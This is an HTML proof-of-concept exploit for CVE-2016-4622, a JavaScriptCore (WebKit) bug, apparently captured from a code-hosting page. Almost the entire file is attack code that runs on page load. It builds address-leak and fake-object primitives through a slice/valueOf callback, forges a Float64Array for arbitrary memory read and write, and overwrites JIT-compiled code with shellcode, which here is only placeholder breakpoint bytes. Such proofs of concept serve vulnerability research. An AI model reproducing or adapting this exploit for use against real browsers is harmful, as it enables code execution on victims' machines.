Permalink
Find file
Fetching contributors…
Cannot retrieve contributors at this time
214 lines (177 sloc) 4.33 KB
<!--
Taking a glance of Samuel Groß's paper I decide to write an exploit by myself. After solving some interesting challenges I made it.
Anyway all credits go to Samuel Groß.
-->
<!DOCTYPE HTML>
<HTML>
<TITLE>Proof of Concept Exploit for CVE-2016-4622</TITLE>
<STYLE>
DIV, H3{
font-family: Courier;
}
</STYLE>
<BODY onload="exploit()">
<DIV id="log">
</DIV>
<SCRIPT>
debug = true
if(debug)
{
alert("attach me!")
}
///////////////////////global variables definde here////////////////////////////////////
var arrbuf = new ArrayBuffer(0x1000)
/*f64 will be used for AAR/AAW uint data.*/
var f64 = new Float64Array(arrbuf)
/*u8 will be used for AAR/AAW byte data.*/
var u8 = new Uint8Array(arrbuf)
var fake_f64 = null
///////////////////////utils functions definde here////////////////////////////////////
function breakpoint()
{
if(debug) Math.atan2(1)
}
function log(info)
{
document.getElementById("log").innerHTML += "<H3>" + info + "</H3>"
}
function structure_spray()
{
for(var i=0; i<0x800; i++)
{
eval("function func"+i.toString()+"(x){this.x=x};var a = new func" + i.toString() + "(1);")
}
}
function f64_to_uint(f64)
{
var bytes = new Uint8Array(new Float64Array([f64]).buffer)
if(bytes.length != 8)
{
if(debug) log("f64_to_uint error.")
}
var uint = 0
for(var i=0; i<bytes.length; i++)
{
uint += (bytes[bytes.length - i - 1] * Math.pow(2, 0x38 - i * 8))
}
return uint
}
function uint_to_f64(uint)
{
var high = (uint / Math.pow(2, 0x20))
var low = (uint & 0xFFFFFFFF)
var bytes = new Uint8Array((new Uint32Array([low, high]).buffer))
var f64_array = new Float64Array(bytes.buffer)
return f64_array[0]
}
function leak_obj(obj)
{
var a = new Array(0x100)
for(var i=0; i<a.length; i++)
{
a[i] = 1.337
}
var b = {"valueOf": function () {
a.length = 1
var c = [obj]
return 4
}}
var address = f64_to_uint(a.slice(b, 5)[0])
return address
}
function fake_obj(addr)
{
var a = new Array(0x100)
for(var i=0; i<a.length; i++)
{
a[i] = 0x13371337
}
var b = {"valueOf": function () {
var fake = uint_to_f64(addr)
a.length = 1
var c = [fake]
return 4
}}
var obj = a.slice(b, 5)[0]
return obj
}
function fake_float64array(zombie_obj)
{
var ptr = leak_obj(zombie_obj)
structure_spray()
for(var i=0x300; i>0; i--)
{
zombie_obj["pop1"] = uint_to_f64(0x250000000000 + i)
var obj = fake_obj(ptr + 0x10)
if(obj instanceof Float64Array)
{
return obj
}
}
return null
}
function write8(addr, byte)
{
fake_f64[2] = uint_to_f64(addr)
u8[0] = byte
}
function write64(addr, uint)
{
fake_f64[2] = uint_to_f64(addr)
f64[0] = uint_to_f64(uint)
}
function read64(addr)
{
fake_f64[2] = uint_to_f64(addr)
return f64_to_uint(f64[0])
}
function exploit()
{
var zombie =
{
"pop1":uint_to_f64(0x250000000000), //jscell 0x25 is type of Float64Array, sorry for hardcode here:(
"pop2":uint_to_f64(0x414141414141), //butterfly will be fixed later.
"pop3":f64, //elements
"pop4":uint_to_f64(0x200000040), //length
"pop5":uint_to_f64(0x454545454545), //dummy
}
fake_f64 = fake_float64array(zombie)
if(!fake_f64)
{
alert("fake_f64 fail.");
window.location.reload(true)
}
var ptr_fake_f64 = leak_obj(fake_f64)
var ptr_f64 = leak_obj(f64)
/*copy butterfly pointer from the real Float64Array obj*/
write64(ptr_fake_f64+8, read64(ptr_f64+8))
/*set length field to be exactly the same as sizeof(Float64Array)*/
write64(ptr_fake_f64+0x18, 0x0000000200000004)
/*set zombie to null, then we can surive in the GC*/
zombie = null
var js_code = "function rip(){ tmp = [];"
for(var i=0; i<0x800; i++)
js_code += "tmp[" + i +"]=" + i +";"
js_code += "};rip()"
var func_obj = new Function(js_code)
/*trigger JIT for func_obj*/
for(var i=0; i<0x200; i++)
func_obj()
var ptr_funcobj = leak_obj(func_obj)
var ptr1 = read64(ptr_funcobj + 0x18)
var ptr2 = read64(ptr1 + 0x10)
var jit = read64(ptr2 + 0x10)
/*set pointer to u8 as the elements pointer of fake_f64*/
write64(ptr_fake_f64+0x10, leak_obj(u8))
/*I have no sandbox escape shellcode:(*/
var shellcode = [0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC]
for(var i=0; i<shellcode.length; i++)
{
write8(jit+i, shellcode[i])
}
/*Hello, Calculator*/
func_obj()
}
</SCRIPT>
</BODY">
</HTML>